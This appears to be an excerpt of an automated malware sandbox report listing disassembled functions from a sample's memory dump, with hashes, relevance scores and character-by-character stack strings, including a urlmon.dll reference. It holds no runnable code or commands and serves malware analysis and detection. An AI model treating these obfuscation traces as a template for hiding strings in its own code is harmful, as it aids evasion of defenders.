Opcode ID: 6474ba5f59375350a9d32817862ebc9d81aa93c7acb4149c1b9d6e99131ed44c
Instruction ID: 7ebff4444274a8661112c9bba9a8d01b2f772984db01a0ed182f65cb6e67305b
Opcode Fuzzy Hash: 6474ba5f59375350a9d32817862ebc9d81aa93c7acb4149c1b9d6e99131ed44c
Instruction Fuzzy Hash: 9CE08677A4131D37EA20978DAD05FABB79DCBC5E60F094976FE08AB340E560A90042E4

Function 0397FC85 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73c99f13512ae1f2a2091da680977070a071fb9454d0a829cfa751318d974add
Instruction ID: 5c169ab72b84b8d20eaa2b7c082586fabedd48d91fb00ff8b5f3e8737e95e34d
Opcode Fuzzy Hash: 73c99f13512ae1f2a2091da680977070a071fb9454d0a829cfa751318d974add
Instruction Fuzzy Hash: 9CE09B75815108A7DB04DF74E482BDDBB78EB44310F14476DEC19DB2C0D63597558741

Function 03990E28 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
Instruction ID: ee310c2734049d716e21c556284c434a9649683112a077a97f6f7635821cd01d
Opcode Fuzzy Hash: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
Instruction Fuzzy Hash: 4BE04F352003047BD620EA59DC00F9B775CDBC5714F004015FA086B241C7B5BA1087F4

Non-executed Functions

Function 0397BA3A Relevance: 51.4, Strings: 41, Instructions: 170COMMON

Download Yara Rule

Strings

@@@@, xrefs: 0397BBA5
@@@@, xrefs: 0397BBBA
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 0397BCBB
@@@@, xrefs: 0397BB3D
@@@@, xrefs: 0397BBAC
@@@@, xrefs: 0397BC4D
@@@@, xrefs: 0397BC31
%&'(, xrefs: 0397BB65
@@@@, xrefs: 0397BBCF
@@@@, xrefs: 0397BB8D
@@@@, xrefs: 0397BC2A
@@@@, xrefs: 0397BC46
@@@@, xrefs: 0397BC15
@@@@, xrefs: 0397BBF2
@@@@, xrefs: 0397BBD6
@@@@@@@@, xrefs: 0397BC87
@@@@, xrefs: 0397BC69
@@@@, xrefs: 0397BC38
@@@@, xrefs: 0397BBEB
@@@@, xrefs: 0397BC3F
!"#$, xrefs: 0397BB5B
)*+,, xrefs: 0397BB6F
@@@@, xrefs: 0397BC54
@@@@, xrefs: 0397BBDD
@@@@, xrefs: 0397BC5B
@@@@, xrefs: 0397BBC8
@@@@, xrefs: 0397BC1C
@@@@, xrefs: 0397BBB3
123@, xrefs: 0397BB83
-./0, xrefs: 0397BB79
@@@@, xrefs: 0397BB9E
@@@@, xrefs: 0397BC23
@@@@, xrefs: 0397BBE4
@@@@, xrefs: 0397BBC1
@@@@, xrefs: 0397BC62
@@@@, xrefs: 0397BC07
@@@@, xrefs: 0397BC70
@@@@, xrefs: 0397BBF9
@@@@, xrefs: 0397BB97
@@@@, xrefs: 0397BC00
@@@@, xrefs: 0397BC0E

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 9ebe345f8b6ede03a2994a8cb5d5d28229b023530bf9500bb19d4d7c43f65fe0
Instruction ID: 0cf2fa77d0dbe3b7b215b7157cbcc5acea7e177d941f700c4c5da7ead84bd3f0
Opcode Fuzzy Hash: 9ebe345f8b6ede03a2994a8cb5d5d28229b023530bf9500bb19d4d7c43f65fe0
Instruction Fuzzy Hash: 83910FF08052988ACB118F59A4603DFBF71BB95204F1581E9C6AA7B243C3BE4E85DF90

Function 0397BA48 Relevance: 51.4, Strings: 41, Instructions: 166COMMON

Download Yara Rule

Strings

@@@@, xrefs: 0397BBA5
@@@@, xrefs: 0397BBBA
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 0397BCBB
@@@@, xrefs: 0397BB3D
@@@@, xrefs: 0397BBAC
@@@@, xrefs: 0397BC4D
@@@@, xrefs: 0397BC31
%&'(, xrefs: 0397BB65
@@@@, xrefs: 0397BBCF
@@@@, xrefs: 0397BB8D
@@@@, xrefs: 0397BC2A
@@@@, xrefs: 0397BC46
@@@@, xrefs: 0397BC15
@@@@, xrefs: 0397BBF2
@@@@, xrefs: 0397BBD6
@@@@@@@@, xrefs: 0397BC87
@@@@, xrefs: 0397BC69
@@@@, xrefs: 0397BC38
@@@@, xrefs: 0397BBEB
@@@@, xrefs: 0397BC3F
!"#$, xrefs: 0397BB5B
)*+,, xrefs: 0397BB6F
@@@@, xrefs: 0397BC54
@@@@, xrefs: 0397BBDD
@@@@, xrefs: 0397BC5B
@@@@, xrefs: 0397BBC8
@@@@, xrefs: 0397BC1C
@@@@, xrefs: 0397BBB3
123@, xrefs: 0397BB83
-./0, xrefs: 0397BB79
@@@@, xrefs: 0397BB9E
@@@@, xrefs: 0397BC23
@@@@, xrefs: 0397BBE4
@@@@, xrefs: 0397BBC1
@@@@, xrefs: 0397BC62
@@@@, xrefs: 0397BC07
@@@@, xrefs: 0397BC70
@@@@, xrefs: 0397BBF9
@@@@, xrefs: 0397BB97
@@@@, xrefs: 0397BC00
@@@@, xrefs: 0397BC0E

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction ID: ea23ef65c1ac3631b3b2020d1975753959ae4693e3b4b7d03395ea246ac67708
Opcode Fuzzy Hash: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction Fuzzy Hash: 6E91FFF18052A98ACB118F55A5603DFBF71BB85204F15C1E9C6AA7B243C3BE4E45DF90

Function 039721F9 Relevance: 37.6, Strings: 30, Instructions: 117COMMON

Download Yara Rule

Strings

I;, xrefs: 03972291
{x, xrefs: 0397232C
e, xrefs: 03972406
$, xrefs: 0397245E
U, xrefs: 03972465
W~, xrefs: 03972311
-, xrefs: 039724FE
h{, xrefs: 039724AE
\, xrefs: 039722D1
i, xrefs: 03972526
Fp, xrefs: 039724C2
wG, xrefs: 03972377
,8, xrefs: 039724CC
O7, xrefs: 03972449
ty, xrefs: 039722B9
aD, xrefs: 03972438
3, xrefs: 039723A8
H, xrefs: 039724EA
jN, xrefs: 03972248
7&, xrefs: 039724E0
5, xrefs: 03972508
8, xrefs: 0397242E
v, xrefs: 0397251C
H~, xrefs: 0397248F
K), xrefs: 03972473
s, xrefs: 039723C6
l, xrefs: 03972424
s, xrefs: 03972530
~B, xrefs: 03972488
2%, xrefs: 03972481

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: U$ $$,8$-$2%$3$5$7&$8$Fp$H~$I;$K)$O7$W~$aD$e$h{$i$jN$l$s$s$ty$v$wG${x$~B$H$\
API String ID: 0-1809068913
Opcode ID: b1040d9ee918188ebd44064972b47a454bf76273df2b18ca07843e5f5686813e
Instruction ID: 3d4d83953f7e9ac133c3e82ba85da03458265c957786052d3ca7a39003251765
Opcode Fuzzy Hash: b1040d9ee918188ebd44064972b47a454bf76273df2b18ca07843e5f5686813e
Instruction Fuzzy Hash: 6B813CB0C05269CBEB61CF91C9987DEBBB1BB05308F5085C9D15C3B291C7BA1A89CF95

Function 039721EF Relevance: 37.6, Strings: 30, Instructions: 114COMMON

Download Yara Rule

Strings

I;, xrefs: 03972291
{x, xrefs: 0397232C
e, xrefs: 03972406
$, xrefs: 0397245E
U, xrefs: 03972465
W~, xrefs: 03972311
-, xrefs: 039724FE
h{, xrefs: 039724AE
\, xrefs: 039722D1
i, xrefs: 03972526
Fp, xrefs: 039724C2
wG, xrefs: 03972377
,8, xrefs: 039724CC
O7, xrefs: 03972449
ty, xrefs: 039722B9
aD, xrefs: 03972438
3, xrefs: 039723A8
H, xrefs: 039724EA
jN, xrefs: 03972248
7&, xrefs: 039724E0
5, xrefs: 03972508
8, xrefs: 0397242E
v, xrefs: 0397251C
H~, xrefs: 0397248F
K), xrefs: 03972473
s, xrefs: 039723C6
l, xrefs: 03972424
s, xrefs: 03972530
~B, xrefs: 03972488
2%, xrefs: 03972481

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: U$ $$,8$-$2%$3$5$7&$8$Fp$H~$I;$K)$O7$W~$aD$e$h{$i$jN$l$s$s$ty$v$wG${x$~B$H$\
API String ID: 0-1809068913
Opcode ID: 55bfc216449451afea81da16ce7b8d4550ca7e2d7d27e270202bb78b6d510cdf
Instruction ID: 29cef88cebde732c202e6d06804a3c7b3d440874e342056efc2caf07bf8d7ac3
Opcode Fuzzy Hash: 55bfc216449451afea81da16ce7b8d4550ca7e2d7d27e270202bb78b6d510cdf
Instruction Fuzzy Hash: EB813AB0C05269CBEB60CF91C9587DEBBB1BB05308F5085C9D15D3B291CBBA1A89CF95

Function 0398A518 Relevance: 34.0, Strings: 27, Instructions: 264COMMON

Download Yara Rule

Strings

J, xrefs: 0398A634
H, xrefs: 0398A5E7
g, xrefs: 0398A588
$, xrefs: 0398A5B0
F, xrefs: 0398A5E0
5, xrefs: 0398A5C4
%, xrefs: 0398A6FE
urlmon.dll, xrefs: 0398A75A, 0398A75D
), xrefs: 0398A560
i, xrefs: 0398A7BA
}, xrefs: 0398A59C
T, xrefs: 0398A603
B, xrefs: 0398A62D
m, xrefs: 0398A5CB
v, xrefs: 0398A54C
w, xrefs: 0398A5D2
), xrefs: 0398A5BA
E, xrefs: 0398A5D9
F, xrefs: 0398A5F5
Q, xrefs: 0398A5EE
$, xrefs: 0398A574
h, xrefs: 0398A542
}, xrefs: 0398A57E
s, xrefs: 0398A5A6
., xrefs: 0398A7B3
>, xrefs: 0398A556
u, xrefs: 0398A592

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $$$$%$)$)$.$5$>$B$E$F$F$H$J$Q$T$g$h$i$m$s$u$urlmon.dll$v$w$}$}
API String ID: 0-1002149817
Opcode ID: fe6af19938887b38d23f88e2ad70ebbc3b86645e01567e8f27f8285438842d4c
Instruction ID: 1e44e032cd1c4996cc30639b36f7f1ddf3e4547e31b5a0a8c899054f113c817b
Opcode Fuzzy Hash: fe6af19938887b38d23f88e2ad70ebbc3b86645e01567e8f27f8285438842d4c
Instruction Fuzzy Hash: 4DC10FB5D01368AAEB20DFA5CC44BDEBBB8AF45304F0085DAD54CBB241D7B55A888F91

Function 03987398 Relevance: 25.2, Strings: 20, Instructions: 250COMMON

Download Yara Rule

Strings

e, xrefs: 03987439
r, xrefs: 0398749B
l, xrefs: 0398744E
x, xrefs: 03987447
r, xrefs: 03987455
l, xrefs: 03987471
2, xrefs: 039874A9
r, xrefs: 03987432
r, xrefs: 0398745C
t, xrefs: 0398746A
I, xrefs: 03987463
i, xrefs: 03987478
t, xrefs: 03987494
I, xrefs: 0398741E
o, xrefs: 0398747F
\, xrefs: 0398748D
g, xrefs: 039874A2
t, xrefs: 03987428
, xrefs: 03987440
m, xrefs: 03987486

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
API String ID: 0-3236418099
Opcode ID: d7cc863f4ad1f40069d45be51f5796424392d5b08cc1d0525de155f793a3df07
Instruction ID: 8719d94c9af116cd6bea53d3f4d66181617bd335d4a7943bb7b81eef3e3798b9
Opcode Fuzzy Hash: d7cc863f4ad1f40069d45be51f5796424392d5b08cc1d0525de155f793a3df07
Instruction Fuzzy Hash: 219140B691031CAEEF20EF948C85FEEB7BCEF84305F544199E508AA140E7755B498FA1

Function 03987396 Relevance: 25.1, Strings: 20, Instructions: 95COMMON

Download Yara Rule

Strings

e, xrefs: 03987439
r, xrefs: 0398749B
l, xrefs: 0398744E
x, xrefs: 03987447
r, xrefs: 03987455
l, xrefs: 03987471
2, xrefs: 039874A9
r, xrefs: 03987432
r, xrefs: 0398745C
t, xrefs: 0398746A
I, xrefs: 03987463
i, xrefs: 03987478
t, xrefs: 03987494
I, xrefs: 0398741E
o, xrefs: 0398747F
\, xrefs: 0398748D
g, xrefs: 039874A2
t, xrefs: 03987428
, xrefs: 03987440
m, xrefs: 03987486

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
API String ID: 0-3236418099
Opcode ID: 2945fc48f4fc198964e936a795fb6e464f122971fff4a570712c3d885f973e66
Instruction ID: a40226ec1a9fb1c0ee3f217ff45e03642b148221fc7c71b654d154449264668d
Opcode Fuzzy Hash: 2945fc48f4fc198964e936a795fb6e464f122971fff4a570712c3d885f973e66
Instruction Fuzzy Hash: 964106B0D0031CEEEF20DFA58C88BEEBBB9BF45349F0041999508AB251D7B54A88CF51

Function 03982B1D Relevance: 16.4, Strings: 13, Instructions: 198COMMON

Download Yara Rule

Strings

r, xrefs: 03982BC1
m, xrefs: 03982BC8
P, xrefs: 03982BB3
, xrefs: 03982B82
s, xrefs: 03982BDD
o, xrefs: 03982BBA
., xrefs: 03982B59
i, xrefs: 03982B89
e, xrefs: 03982B90
x, xrefs: 03982B63
l, xrefs: 03982BD6
F, xrefs: 03982BCF
o, xrefs: 03982B97

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 81ca00c444ae7fe88a008585d1b8ee5f6b7172c422b297715ab47df3b33a1915
Instruction ID: f19b1403cf2f486210b775c2919b515fd3be9e803a8d6eb19356e3950fbcc1e6
Opcode Fuzzy Hash: 81ca00c444ae7fe88a008585d1b8ee5f6b7172c422b297715ab47df3b33a1915
Instruction Fuzzy Hash: 017111B6910318BAEF51DFA4CC81FEEB77CAF48700F004699E519AA140EB755788CFA1

Function 03982B28 Relevance: 16.4, Strings: 13, Instructions: 194COMMON

Download Yara Rule

Strings

r, xrefs: 03982BC1
m, xrefs: 03982BC8
P, xrefs: 03982BB3
, xrefs: 03982B82
s, xrefs: 03982BDD
o, xrefs: 03982BBA
., xrefs: 03982B59
i, xrefs: 03982B89
e, xrefs: 03982B90
x, xrefs: 03982B63
l, xrefs: 03982BD6
F, xrefs: 03982BCF
o, xrefs: 03982B97

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: b54eb46acf6f9692f5a4bad3ae56c6693616e2563cd64011d92445fa06f92590
Instruction ID: 69acd7122bd1a3a64877f6d96aa6d7552b1cff9322c5ddd0d78650d93a217f5e
Opcode Fuzzy Hash: b54eb46acf6f9692f5a4bad3ae56c6693616e2563cd64011d92445fa06f92590
Instruction Fuzzy Hash: E871EEB6810318BAEF55DFA4CC81FDEB77CAF58700F004699E519AA140EB755B88CFA1

Function 03976828 Relevance: 13.8, Strings: 11, Instructions: 84COMMON

Download Yara Rule

Strings

l, xrefs: 03976863
x, xrefs: 0397685C
e, xrefs: 03976878
\, xrefs: 03976855
n, xrefs: 039768BC
w, xrefs: 039768B5
r, xrefs: 03976871
r, xrefs: 0397686A
i, xrefs: 039768C3
e, xrefs: 0397687F
D, xrefs: 039768AE

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: eef0e958d9443db897711b0c8ce85443dfcce0d57196609b2b8999ba404ba84e
Instruction ID: 6f6412994b339636601acf78c0771c21ecb763201e802f03a36908b929eb728f
Opcode Fuzzy Hash: eef0e958d9443db897711b0c8ce85443dfcce0d57196609b2b8999ba404ba84e
Instruction Fuzzy Hash: 6A217EB5D4131CBAEF40DFD4CC85BEEBBB9AF48700F00815DE618BA180DBB556488BA5

Function 03976820 Relevance: 13.8, Strings: 11, Instructions: 82COMMON

Download Yara Rule

Strings

l, xrefs: 03976863
x, xrefs: 0397685C
e, xrefs: 03976878
\, xrefs: 03976855
n, xrefs: 039768BC
w, xrefs: 039768B5
r, xrefs: 03976871
r, xrefs: 0397686A
i, xrefs: 039768C3
e, xrefs: 0397687F
D, xrefs: 039768AE

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 89876c3b507a419ff935b5f07f25299dd9dd0a4c718ead50119945e699ec9e5a
Instruction ID: 1fdb628c168184ac75cc5fec77fcd2be9ea1268a3d5944c2447c1209f6c2bf0f
Opcode Fuzzy Hash: 89876c3b507a419ff935b5f07f25299dd9dd0a4c718ead50119945e699ec9e5a
Instruction Fuzzy Hash: 59214FB5D4131CBEEF40DFD4CC85BEEBBB9AF48704F008159E614BA180DBB556488BA5

Function 03987858 Relevance: 12.8, Strings: 10, Instructions: 342COMMON

Download Yara Rule

Strings

m, xrefs: 039878FA
P, xrefs: 039878DA
s, xrefs: 039878E1
:, xrefs: 039878E8
:, xrefs: 03987901
:, xrefs: 039878BA
N, xrefs: 039878F3
t, xrefs: 039878CC
A, xrefs: 039878C5
I, xrefs: 039878B3

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: acc72cacf640030508200e1f40501cc833c1e9b1b45f59d9dc2bf40c77dc2145
Instruction ID: 899dff3880c3a881331630b54bd665fcc8cb9d1f51e956ba7fe9fe3b4787d7c8
Opcode Fuzzy Hash: acc72cacf640030508200e1f40501cc833c1e9b1b45f59d9dc2bf40c77dc2145
Instruction Fuzzy Hash: 7AD1C9B5900708ABDF10DFA4CC85FEEB7F8AF88304F54451DE555EA240E778A945CBA0

Function 03987854 Relevance: 12.7, Strings: 10, Instructions: 210COMMON

Download Yara Rule

Strings

m, xrefs: 039878FA
P, xrefs: 039878DA
s, xrefs: 039878E1
:, xrefs: 039878E8
:, xrefs: 03987901
:, xrefs: 039878BA
N, xrefs: 039878F3
t, xrefs: 039878CC
A, xrefs: 039878C5
I, xrefs: 039878B3

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: ea3c568c0d214a3ef38195cc4ae13c7f9a98e93961f8cb596436dedc83d32d25
Instruction ID: 66acb65f8829ed748599e64c5d794b46edf29ff93840f47e5263827f71bfb82a
Opcode Fuzzy Hash: ea3c568c0d214a3ef38195cc4ae13c7f9a98e93961f8cb596436dedc83d32d25
Instruction Fuzzy Hash: DA81D7B5900708ABDF10DFA4C885BEEBBF9AF88304F54451DE159EB240E779A905CBA4

Function 0397DC63 Relevance: 10.1, Strings: 8, Instructions: 131COMMON

Download Yara Rule

Strings

e, xrefs: 0397DD7D
m, xrefs: 0397DD6F
., xrefs: 0397DC9A
o, xrefs: 0397DD5B
x, xrefs: 0397DCA1
i, xrefs: 0397DD76
r, xrefs: 0397DD65
P, xrefs: 0397DD51

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: .$P$e$i$m$o$r$x
API String ID: 0-620024284
Opcode ID: 73c264620bab2fcf898d6b4389bed6c4d1021e23f81e84066fcc28bec9f22144
Instruction ID: d1b9e465650d4b1fe2c4e270033e007ca73054f3f5cee7012ebf4decfa8d01de
Opcode Fuzzy Hash: 73c264620bab2fcf898d6b4389bed6c4d1021e23f81e84066fcc28bec9f22144
Instruction Fuzzy Hash: 524179BA8003187AEF11DFA4CC85FDE777CAF95300F40859DA5496B140E6B55B498FA1

Function 0397DC68 Relevance: 10.1, Strings: 8, Instructions: 131COMMON

Download Yara Rule

Strings

e, xrefs: 0397DD7D
m, xrefs: 0397DD6F
., xrefs: 0397DC9A
o, xrefs: 0397DD5B
x, xrefs: 0397DCA1
i, xrefs: 0397DD76
r, xrefs: 0397DD65
P, xrefs: 0397DD51

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: .$P$e$i$m$o$r$x
API String ID: 0-620024284
Opcode ID: f6e706bc6ea11db86529010e1238266821e775553d9f68f9d9e13ce3365a2c14
Instruction ID: a87193bf48d2a5c60066e127a3c8f0eb7865720cee20c79983527de9bf5556bc
Opcode Fuzzy Hash: f6e706bc6ea11db86529010e1238266821e775553d9f68f9d9e13ce3365a2c14
Instruction Fuzzy Hash: 364189BA8003187AEF10DFA4CC85FDF777CAF54300F408599A5496B140EAB55B498FA1

Function 0396F6D8 Relevance: 10.0, Strings: 8, Instructions: 43COMMON

Download Yara Rule

Strings

_, xrefs: 0396F722
q, xrefs: 0396F6FA
P, xrefs: 0396F71E
S, xrefs: 0396F6EA
}, xrefs: 0396F726
$, xrefs: 0396F72A
', xrefs: 0396F71A
P_}$, xrefs: 0396F759

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $$'$P$P_}$$S$_$q$}
API String ID: 0-926580665
Opcode ID: 488d0d9b6a9bfec1050dd95a4db6ea4dcdc207f7557a5ac40b4d76afd92e35ed
Instruction ID: 2402eb5e7e66fdd7336dd34232c292d1d81b5aef19be53b2b2f05e86fd772d47
Opcode Fuzzy Hash: 488d0d9b6a9bfec1050dd95a4db6ea4dcdc207f7557a5ac40b4d76afd92e35ed
Instruction Fuzzy Hash: B211C910D0C7CA99DB12C6BC84082AEBF715F23224F4882D9D5B56A3D2D2794346C7A6

Function 0398AD78 Relevance: 8.9, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

c, xrefs: 0398ADE8
\, xrefs: 0398AE3D
l, xrefs: 0398ADEF
a, xrefs: 0398ADFD
S, xrefs: 0398ADF6
e, xrefs: 0398AE04
L, xrefs: 0398ADE1

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: L$S$\$a$c$e$l
API String ID: 0-3322591375
Opcode ID: 342ecdf87bcde5a406b7b2b6a85e81652a76c6e0139ee9a7c458b6c1ad346537
Instruction ID: 605539df0da80430a1c3718238f232f71fbd4f471829a12ede29661aaa0e48fc
Opcode Fuzzy Hash: 342ecdf87bcde5a406b7b2b6a85e81652a76c6e0139ee9a7c458b6c1ad346537
Instruction Fuzzy Hash: C74130B6C0421CBEDF10EFA8DC84AEEB7BCBF88310F45455AD90DAB201E77159858B90

Function 039828E8 Relevance: 7.7, Strings: 6, Instructions: 171COMMON

Download Yara Rule

Strings

T, xrefs: 03982925
f, xrefs: 03982948
r, xrefs: 03982941
P, xrefs: 0398291E
x, xrefs: 0398294F
F, xrefs: 0398293A

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: e66122d5de952bd3c58f3eabc109afc426c134da5d7523f5f5e9695495778995
Instruction ID: 965bd503b35aaeefea86b2d3754150cd599286b8cfe6a465f273b95d4a4660a3
Opcode Fuzzy Hash: e66122d5de952bd3c58f3eabc109afc426c134da5d7523f5f5e9695495778995
Instruction Fuzzy Hash: 5A51FC71A01309AEEB30EFA8CC44BEAF7FCEF85740F04495E95495A180E7B59685CBE1

Function 039828D9 Relevance: 7.6, Strings: 6, Instructions: 58COMMON

Download Yara Rule

Strings

T, xrefs: 03982925
f, xrefs: 03982948
r, xrefs: 03982941
P, xrefs: 0398291E
x, xrefs: 0398294F
F, xrefs: 0398293A

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: 048583b77b93efaaefb9e26362d54ac0cf43b5c118d1fb614f5b13f312a18af6
Instruction ID: 8623ffc2cfd8e3af5e9f29f844855df590fcdf3582bbdacbc46e012ac555ae29
Opcode Fuzzy Hash: 048583b77b93efaaefb9e26362d54ac0cf43b5c118d1fb614f5b13f312a18af6
